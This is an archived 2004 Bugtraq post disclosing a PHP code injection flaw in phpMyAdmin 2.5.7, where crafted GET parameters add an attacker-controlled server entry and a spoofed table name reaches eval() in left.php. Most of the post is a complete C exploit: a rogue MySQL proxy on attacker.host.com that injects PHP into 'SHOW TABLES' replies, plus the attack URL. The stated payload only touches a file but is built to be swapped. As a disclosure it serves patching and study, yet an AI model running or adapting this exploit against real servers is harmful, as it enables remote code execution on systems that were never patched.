php codes injection in phpMyAdmin version 2.5.7.

From: Nasir Simbolon (nasir_at_kecapi.com)
Date: 06/29/04

  • Next message: tinysofa Security Team: "TSSA-2004-012 - apache"
    Date: 29 Jun 2004 02:57:52 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    Software : phpMyAdmin
    Version : 2.5.7
    Vulnerability : php codes injection
    Problem-Type : remote user
    phpMyAdmin is web-based mysql administration written
    in PHP.
     
    There is a vulnerability in phpMyAdmin version 2.5.7.
    This vulnerability would allow remote user to inject
    php codes
    to be executed by eval() function (in file left.php).
    However, This vulnerability only effect if variable
    $cfg['LeftFrameLight']
    set to FALSE (in file config.inc.php)
     
    1. Bugs
     
    The Bugs are phpMyAdmin do not prevent any user
    from
     
    1.a. Ability to grow up array variables by way of GET
    params
     
    PhpMyAdmin has multiple servers configuration stored
    in array variables ($cfg['Servers'][$i]). They are
    coded in file
    config.inc.php.
    They are usually set at instalation time by owner.
    Each configuration contains mysql server information
    to be used
    by phpMyAdmin as host, port, user, password,
    authentication type, database
    name etc of mysql server.
    Up to three servers configuration is provided by
    default.
     
    However, Uninitialized $cfg['Servers'][$i] allows
    remote user to add server
    configuration to the list of servers configuration by
    growing up
    $cfg['Servers'][$i] array through GET parameters.
     
    Remote user could add server configuration like this
    http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers]
    [4]
    [host]=202.81.x.x&cfg[Servers][4]
    [port]=8888&cfg[Servers][4][user]=alice ..
    and so forth.
    The running script will use the fourth server
    configuration which remote user
    supply.
     
    1.b. Escape 'magic' quote (') oops
     
    if variable $cfg['LeftFrameLight'] set to FALSE, this
    part of codes is
    executed.
     
    $eval_string = '$tablestack[\'' . implode('\'][\'',
    $_table) . '\']
    [\'pma_name\'][] = \'' . str_replace('\'', '\\\'',
    $table) . '\';';
    eval($eval_string);
     
    $eval_string will be php codes that executed by
    function eval().
    if we have one table named 'mytable', $eval_string
    will have string value
    $tablestack['']['pma_name'][] = 'mytable';
     
    phpMyAdmin is improper to handle escaping single
    quote.
    So that with crafted table name with its name
    contains meta-chars like this
                     \';exec(\"touch /tmp/touchable\");/*
    $eval_string will have value
    $tablestack['']['pma_name'][] =
    '\\';exec("touch /tmp/touchable");/*';
     
    In php language, It will interpret the string as
    three php statements. The
    second statement will be our exploite codes. The
    last statement without
    trailing comment just give a warning message in
    php.
     
    2. Exploite
     
    Since mysql does not allow table name contain
    meta-chars, we have to provide
     a wrapper of mysql server. The wrapper acts like a
    proxy except that it will
     sends a fake table name, when client request a "SHOW
    TABLES" query, by
     replacing the real table name with a string contains
    exploite codes.
     
    http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers]
    [4]
    [host]=attacker.host.com&cfg[Servers][4]
    [port]=8889&cfg[Servers][4]
    [auth_type]=config&cfg[Servers][4]
    [user]=user&cfg[Servers][4]
    [password]=pass&cfg[Servers][4]
    [connect_type]=tcp&&cfg[Servers][4]
    [only_db]=databasename
     
    In attacker.host.com mysql wrapper will listen in
    port 8889 waiting for
    connection.
     
    3. Proof of Concept
     
    The exploite code, mysql wrapper written in c, can be
    founded in attachment
    or from
    http://eagle.kecapi.com/sec/codes/phpmy-explt.c
     
    4. Purpose
    This full disclosure is intended to be educational
    purpose.
     
    Regards,
     
    Nasir Simbolon
    http://eagle.kecapi.com

    -- 
    timor Domini 
     
    ------------------------------------------------------- 
     
     
    phpmy-explt.c 
     
     
    /*     
     * phpmy-explt.c   
     * written by Nasir Simbolon <nasir@kecapi.com> 
     * http://eagle.kecapi.com 
     * Jakarta, Indonesia 
     *  
     * June, 10 2004  
     *  
     * A phpMyAdmin-2.5.7 exploite program. 
     * This is a kind of   mysql server wrapper  acts 
    like a proxy except that it will sends a fake table 
    name, 
     * when client query "SHOW TABLES",  by replacing the 
    real table name with a string contains exploite 
    codes. 
     * 
     * Compile : gcc phpmy-explt.c -o phpmy-explt 
     * 
     * run with 
     * ./phpmy-explt 
     * 
     * and go to your target and put  
     * 
     * 
    http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers]
    [4][host]=attacker.host.com&cfg[Servers][4]
    [port]=8889&cfg[Servers][4]
    [auth_type]=config&cfg[Servers][4]
    [user]=user&cfg[Servers][4]
    [password]=pass&cfg[Servers][4]
    [connect_type]=tcp&&cfg[Servers][4]
    [only_db]=databasename 
     * 
     * fill host,port,user,pass and databasename 
    correctly 
     * 
     */ 
     
     
    #include<stdio.h> 
    #include<sys/socket.h> 
    #include<netdb.h> 
     
    #define BIND_PORT 8889 
    #define MYSQL_PORT 3306 
    #define HOSTNAME "localhost" 
    #define DATABASE "phpmy" 
     
     
    #define BUFFER_LEN 1024 
     
    /* This is php code we want to inject into phpMyAdmin  
       Do NOT use  single quote (') in the string, use 
    double quote (") instead 
    */ 
    char *phpcodes = 
    "exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");"; 
     
     
      /* This is examples codes I captured when mysql 
    server 
         reply to client's request of query "SHOW TABLES" 
    query. 
         It shows  database  name 'phpmy' and contain one 
    tablename  'mytable' 
         Our aim is to manipulate the data received from 
    mysql server 
         by replacing 'mytable' with our exploide codes. 
          
         0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 , 
         0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' , 
         '_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 , 
         0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 , 
         -2  ,8  ,0x0 ,0x0 ,0x4 ,7   ,'m' ,'y' ,'t' ,'a' , 
         'b' ,'l' ,'e' ,0x1 ,0   ,0   ,0x5 ,-2 
      */ 
     
     
    int build_exploite_code(char* dbname,char* 
    phpcodes,char** expcode) 
    {        
       char my1[21] = 
    {0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 , 
                       0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' , 
                       '_'};  
       /* part of dbname     ('p' ,'h' ,'p' ,'m' ,'y') */ 
       char my2[15] = 
    {0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f, 
                       0x1 ,0x0 ,0x0 ,0x3 ,-2};   
       /* part of int phpcodes string length +1   (8) */  
       char my3[3]  = {0x0 ,0x0 ,0x4}; 
       /* part of int phpcodes string length      (7) */  
       /* part of tablename    
    ('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */ 
       char my4[5]  = {0x1 ,0   ,0   ,0x5 ,-2}; 
             
       int len,i; 
     
       len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +  
    strlen(phpcodes) + 5 + 5; 
       *expcode = (char*) malloc(sizeof(char) * len);  
        
       i = 0; 
       bcopy(&my1[0],*expcode + i,21); 
       i += 21; 
       bcopy(dbname, *expcode + i,strlen(dbname)); 
       i += strlen(dbname); 
       bcopy(&my2[0],*expcode + i,15); 
       i += 15; 
       (*expcode)[i] = 5 + strlen(phpcodes) + 1; 
       i ++; 
       bcopy(&my3[0],*expcode + i,3); 
       i += 3;   
       (*expcode)[i++] = 5 + strlen(phpcodes) ; 
       /* this is our exploite codes*/ 
       (*expcode)[i++] = '\\';  
       (*expcode)[i++] = '\'';  
       (*expcode)[i++] = ';';  
       bcopy(phpcodes,*expcode + i,strlen(phpcodes)); 
       i += strlen(phpcodes); 
       (*expcode)[i++] = '/';  
       (*expcode)[i++] = '*';  
       bcopy(&my4[0],*expcode + i,5); 
        
       return len; 
    } 
     
    /* connect to mysql server*/ 
     
    int connect_mysql() 
    { 
        int s2; 
        struct sockaddr_in ina; 
        struct hostent *h; 
         
        h = gethostbyname(HOSTNAME); 
        /* set internet address */ 
        bcopy(h->h_addr,(void 
    *)&ina.sin_addr,h->h_length); 
        ina.sin_family = AF_INET; 
        ina.sin_port = htons(MYSQL_PORT); 
        //ina.sin_zero[0]='\0'; 
        if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0)  
            perror("Socket: "); 
         
        if(connect(s2,(struct sockaddr 
    *)&ina,sizeof(ina)) < 0 ) 
                               perror("connect()"); 
        return s2; 
    } 
     
    /* listener */ 
    int listener() 
    { 
        int s1; 
        int opt; 
        struct sockaddr_in ina; 
     
        /* set internet address */ 
        ina.sin_family = AF_INET; 
        ina.sin_port = htons(BIND_PORT); 
        ina.sin_addr.s_addr = INADDR_ANY; 
     
        if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0)  
            perror("Socket: "); 
         
        opt = 1; 
        setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char 
    *)&opt, sizeof(opt) ); 
            
        if(bind(s1,(struct sockaddr 
    *)&ina,sizeof(ina))==-1)  
            perror("Bind: "); 
             
        if(listen(s1, 10) == -1)  
            perror("Listen");  
             
       return s1; 
    } 
     
     
    int main(int argc,char* argv[]) 
    { 
            struct sockaddr_in ina1; 
            int ina1_l; 
            int s_daemon,s_mysql; 
            size_t byte_read,byte_written; 
            char *buf; 
            int sc,event,n_select; 
            fd_set rfds; 
            struct timeval tv;        
            int exptlen,i; 
            char *expt; 
            char *dbname=DATABASE; 
             
            buf = (char*) malloc(sizeof(char) * 
    (BUFFER_LEN)); 
            tv.tv_sec  = 15; 
            tv.tv_usec = 0; 
             
            /* we listen to port */ 
             s_daemon = listener(); 
         
            exptlen = 
    build_exploite_code(dbname,phpcodes,&expt); 
     
            for(;;)  
            { 
               fprintf(stderr,"waiting for 
    connection\n"); 
                
               if( -1 == (sc = accept(s_daemon,(struct 
    sockaddr *) &ina1,&ina1_l)) )  
                      perror("accept()"); 
               /* if we get here, we have a new 
    connection */ 
               fprintf(stderr,"got client connection\n"); 
    mysql: 
               /* connect to mysql */ 
               s_mysql = connect_mysql(); 
             
               for(;;)  
                { 
                    FD_ZERO(&rfds); 
                    FD_SET(sc,&rfds); 
                    FD_SET(s_mysql,&rfds);                                 
                     
                    n_select = (sc > s_mysql)? sc : 
    s_mysql; 
     
                    event = 
    select(n_select+1,&rfds,NULL,NULL,NULL); 
                    if(-1  == event)  
                        perror("select()"); 
                    else  
                    {        
                        if(FD_ISSET(s_mysql,&rfds))  
                         { 
                            byte_read = 
    read(s_mysql,buf,BUFFER_LEN); 
                            /* check for closing client 
    connection*/ 
                            if(byte_read == 0)  
                            { 
                               shutdown(s_mysql,SHUT_RDWR); 
                               close(s_mysql); 
                               goto mysql; 
                            } 
     
                             /* check data received from 
    mysql server. 
                              * if  buf[11] contain 'T', 
    data received from   mysq server is table list 
                              * 
                              * NOW we replace the table 
    with our exploite codes and send them to client 
                              */ 
                            if( 'T' == buf[11]) 
                            { 
                               for(i=0;i<exptlen;i++)  
                                  buf[i] = expt[i]; 
                               byte_read = exptlen; 
                            } 
                            
                            if(write(sc, buf, byte_read) 
    < 0) 
                               break;  
                         } 
                        
                         if(FD_ISSET(sc,&rfds))  
                         {   
                             byte_read = 
    read(sc,buf,BUFFER_LEN); 
                             /* check for closing client 
    connection*/ 
                             if(byte_read == 0)  
                             {       
                                close(sc);     
                                break; 
                             } 
     
                           if(write(s_mysql,buf,byte_read) 
    < 0)  
                                   break;        
                         }     
    #if defined(DEBUG)                    
                         fprintf(stderr,"data:\n");  
                         for(i=0;i<byte_read;i++)  
                                 fprintf(stderr," %c(%x) 
    ",buf[i],buf[i]); 
    #endif     
                    }    
     
                }  
            } 
            free(buf); 
            free(expt); 
            return 0; 
    }         
            
       
    

  • Next message: tinysofa Security Team: "TSSA-2004-012 - apache"

    Relevant Pages

    • RE: MySQL/PHPMyAdmin on FC3 Connection Problem
      ... // You can disable a server config entry by setting host to ''. ... MySQL server ... MySQL control user settings ... table to describe the display fields ...
      (Fedora)
    • Re: KDE is now broken (Fwd: Heads-up: KDE4 hitting testing tonight (UTC) )
      ... don't want to run an akonadi server either, ... KDE 4.0 was available. ... kmail) and I do not have a mysql server installed. ...
      (Debian-User)
    • Re: Using Access for web application?
      ... Any suggestions as to which newsgroup would be more ... The server that the web app will use in this case, ... > which technology you will decide to use as the Web server (Linux or Windows) ... Instead MySQL is being ...
      (microsoft.public.access.dataaccess.pages)
    • [UNIX] phpMyAdmin PHP Code Injection (left.php)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... phpMyAdmin is "web-based MySQL ... does not prevent a malicious user from altering the servers configuration ... server configurations to the list of servers configuration by adding ...
      (Securiteam)
    • Re: KDE is now broken (Fwd: Heads-up: KDE4 hitting testing tonight (UTC) )
      ... don't want to run an akonadi server either, ... doesn't ask if I want to use a mysql server on another host. ... Not if the file format was public. ... There seems to be too much windoze thinking entering Debian: ...
      (Debian-User)